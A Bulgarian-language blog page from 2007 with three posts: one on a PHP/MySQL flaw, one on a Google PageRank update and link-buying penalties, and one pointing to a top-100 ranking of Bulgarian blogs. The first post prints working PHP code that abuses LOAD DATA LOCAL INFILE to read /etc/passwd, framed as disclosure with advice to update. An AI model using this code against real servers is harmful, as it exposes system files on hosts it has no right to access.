Tuesday, October 30, 2007

Най-тъпият PHP exploit в света!

През изминалият месец излязоха куп бъгове и дупки в сигурността на PHP. Куп бъгави функции, куп injection-и, но този беше най-фрапантният:

MySQL:

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);



MySQLi:

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();


Не е ли тъп само? Vulnerable са всички версии под 5.2.4, така че съветвам всички да ъпдейтват.
Естествено, при правилни permissions едва ли ще се стигне до успех, но ми е интересно на колко shared hosting компании админите не са мързеливи.

Google PR Update - размишления и изводи

Най-накрая дочакахме и PR Update-а от Google, или по-скоро експорта му до Google Toolbar. Както знаете, Google Page Rank е величината, която характеризира важността на дадена страница (а не уебсайт) в Интернет. Измислена от Гугълците още в университета, тя все още фигурира в почти всеки алгоритъм за отсяване на уебстраници, без значение от конкретната задача :) Колко тъпо звучи само!
Тъпото обаче е съвсем другаде. Този експорт беше най-дългоочакваният в историята на Интернет, както и на Негово Величество - Пазарът на домейни! Не само че Гугъл се закъсняха с експорта почти двойно, ами и очевидно имаше големи изменения на алгоритмите за класиране и изчисляване на PR.
Предният update беше през Април и закъсня само месец. Обикновено на Google им отнема около 3 месеца, за да преровят всичките си сървъри, да ги синхронизират напълно, да преизчислят целият PR на всички страници и да го закарат до (най-големият снифер в света) Google Toolbar (за който ние всички се представяме, за да си проверим PR). От април обаче минаха около 6 месеца. През това време се случи много - Google се обяви против купуването на линкове с цел манипулация на PR. След това забрани всички останали мотиви и наложи на уебмастърите да слагат nofollow на линковете, които продават, за да знае Бото.
След това заваляха дебати, анекдоти и бирени полемики из целия свят. Цял един бизнес модел беше пред разруха и всички пряко и косвено замесени впрегнаха всички сили, за да се противопоставят на най-мощната компания в света. Похвално, но безуспешно.
Още по време на дежурният преди TBPR export "танц" на SERPs се забеляза, че търговията на линкове ще бъде наказвана жестоко. Забеляза се и друго - алгоритъмът е прекалено строг на моменти. За по ден-два от SERPs изчезнаха сайтове със съмнителен произход на линкове като DMOZ и Wikipedia. След експортът пък SearchEngineWatch и още куп подобни (огромни, но очевидни купувачи на линкове) сайтове загубиха по 3 пункта от своят PR. Противно всякаква логика пък, моят блог получи 4, при положение, че не съм поствал кой знае колко (следователно -> по-малко линкбейт, по-малко линкове от скрейпъри и следпостингов спам). Поразгледах и още такива сайтове и закономерността, която виждам е следната:
  • Google намрази директориите още повече. Линковете от повечето директории все още имат тежест, но голяма част ги изгубиха. Тенденцията е към намаляване на тежестта от линковете, идващи от нерелевантни източници.
  • Вътрешната структура на сайта има още по-голяма тежест.
  • Еднопосочните линкове са по-силни отвсякога. Тествах го с няколко странички. Еднопосочен линк от PR0 страница се оказа с по-голяма тежест от двупосочен с PR4. (т'ва в резултатите де, едва ли важи за PageRank)
  • Имаме повече бюджет за Bacardi, след като купуването на линкове е забранено и наказуемо от търсачките.
Равносметката при мен е следната: трябва да седна и да помисля някоя по-хитра линк билдинг стратегия. Очаквам цената на еднопосочните линкове да скочи скоро, както и на пазара да се включат все повече креативни играчи със стаблиен гръб, за сметката на дебелоглавите читанки. Очаквам също така да се търсят все повече програмисти и да се разшири пазарът на custom сайтове, защото безплатните решения орязват индивдуалността и уникалността, а това ще бъде все по-важно.
В крайна сметка - Long Live the King, and the King is Content! Клишето е по-вярно отвсякога. Докато Google е твърде зает да купува дъщерни фирми, вместо да чисти бъговете си и да си доразвие алгоритъма, линковете ще придобиват все по-малко тежест, защото са твърде лесни за манипулация. Сега е време за анализ на фактите и да се определи къде е границата на наказуемите линкове, както и къде е тънката нишка, която не се е скъсала още. Ще помоля по-наблюдателните да споделят опит под формата на коментари или блог постове.
До тук с фрийстайла.

Топ 100 на българските блогове

Класацийка, рий'ши. Няма състезания в Гугъл, няма спам из темите, няма нищо. Само един човечец, който очевидно е достатъчно компетентен, си прави класацийка и си я публикува. Доколкото разбрах, не се и подава на евтини провокации, така че няма смисъл да му тровите блога.
Класацията се намира на адрес: http://www.alabala.org/251.html. Класирането става на базата на 4 параметъра - Google Page Rank, Alexa Rank, Technorati Rank и Тодор Христов Rank - преценката на автора. Абе каквото и да напиша, ще е тъпо - отидете и вижте 100-те най-яки блога в България :)